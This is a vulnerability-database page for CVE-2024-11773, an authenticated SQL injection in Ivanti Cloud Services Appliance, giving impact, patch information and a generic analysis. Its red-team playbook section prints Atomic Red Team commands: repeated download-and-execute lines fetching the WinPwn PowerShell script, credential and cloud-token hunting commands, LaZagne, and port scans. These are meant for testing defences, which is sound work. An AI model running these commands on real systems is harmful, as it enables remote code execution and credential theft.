CVE-2024-11773
Overview
This vulnerability is a SQL injection flaw rooted in improper sanitization of user-supplied input within the admin web console of Ivanti Cloud Services Application (CSA). Specifically, the affected component fails to correctly validate or escape SQL queries constructed from parameters submitted by authenticated administrators. This allows crafted input to alter the intended SQL command structure executed by the backend database.
Vulnerability Description
SQL injection in the admin web console of Ivanti CSA before version 5.0.3 allows a remote authenticated attacker with admin privileges to run arbitrary SQL statements.
Impact
An attacker with valid administrative credentials can exploit this vulnerability to execute arbitrary SQL statements on the backend database, enabling unauthorized data manipulation, disclosure, or deletion. Exploitation requires network access to the admin web console and high privilege authentication (PR:H). Given the CVSS vector includes high impact on confidentiality, integrity, and availability (C:H/I:H/A:H), successful exploitation can lead to full compromise of data integrity and availability of the affected system.
Solution
Ivanti has released a security update addressing this issue in Ivanti Cloud Services Application version 5.0.3. Administrators should apply this patch promptly as detailed in the vendor advisory at https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Cloud-Services-Application-CSA-CVE-2024-11639-CVE-2024-11772-CVE-2024-11773. No alternative workarounds are specified; upgrading to the fixed version is the recommended remediation.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the admin web console of Ivanti Cloud Services Appliance prior to version 5.0.3 is characterized by a SQL injection flaw. This type of vulnerability allows an attacker with authenticated admin privileges to manipulate SQL queries executed by the application. By injecting malicious SQL code into input fields, an attacker can gain unauthorized access to the database, potentially leading to the execution of arbitrary SQL statements. This could enable the attacker to read sensitive data, modify or delete records, or even escalate privileges within the system, thereby compromising the integrity and confidentiality of the data managed by the application.
Exploitation of this vulnerability can occur through various attack vectors. An authenticated attacker, who already possesses admin credentials, could leverage the SQL injection flaw by crafting specific input that alters the intended SQL query. For instance, if the application fails to properly sanitize user inputs, an attacker could input SQL commands that bypass normal application logic. This could lead to scenarios where the attacker retrieves sensitive information such as user credentials, financial data, or proprietary business information. Additionally, the attacker could execute commands that change the database structure or contents, leading to further exploitation or disruption of services.
The real-world impact of this vulnerability can be significant, particularly for organizations relying on Ivanti Cloud Services Appliance for critical operations. The ability to execute arbitrary SQL statements poses a severe business risk, as it could lead to data breaches, loss of customer trust, and potential regulatory penalties. Organizations may face financial losses due to remediation efforts, legal liabilities, and reputational damage. Furthermore, the exploitation of such vulnerabilities can lead to broader attacks within an organization's network, as compromised databases may serve as a foothold for lateral movement and further exploitation of connected systems.
To effectively detect and mitigate this vulnerability, organizations should adopt a multi-layered security approach. Regular security assessments, including penetration testing and code reviews, can help identify SQL injection vulnerabilities before they are exploited. Implementing web application firewalls (WAFs) can provide an additional layer of protection by filtering out malicious input. Furthermore, organizations should ensure that their applications are updated to the latest versions, as vendors often release patches that address known vulnerabilities. Additionally, employing input validation and parameterized queries can significantly reduce the risk of SQL injection attacks by ensuring that user inputs are treated as data rather than executable code.
In conclusion, the SQL injection vulnerability in the admin web console of Ivanti Cloud Services Appliance represents a critical security concern for organizations utilizing this software. The potential for unauthorized access and manipulation of sensitive data underscores the importance of robust security practices. By understanding the technical details of the vulnerability, recognizing potential attack vectors, assessing the real-world impact, and implementing effective detection and mitigation strategies, organizations can better protect themselves against the risks associated with this type of security flaw.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Ivanti | Cloud Services Appliance | All |
cpe:2.3:a:ivanti:cloud_services_appliance:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-11773 |
| forums.ivanti.com |
GitHub CVE
|
https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Cloud-Services-Application-CSA-CVE-2024-11639-CVE-2024-11772-CVE-2024-11773 |